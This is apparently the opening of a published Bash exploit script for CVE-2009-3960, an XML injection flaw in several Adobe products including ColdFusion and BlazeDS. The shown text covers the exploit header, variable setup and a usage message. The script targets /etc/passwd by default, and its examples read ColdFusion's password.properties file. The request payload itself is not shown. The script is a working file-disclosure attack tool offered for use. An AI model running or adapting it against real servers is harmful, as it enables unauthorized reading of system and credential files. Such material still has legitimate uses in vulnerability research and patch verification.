# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f

cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
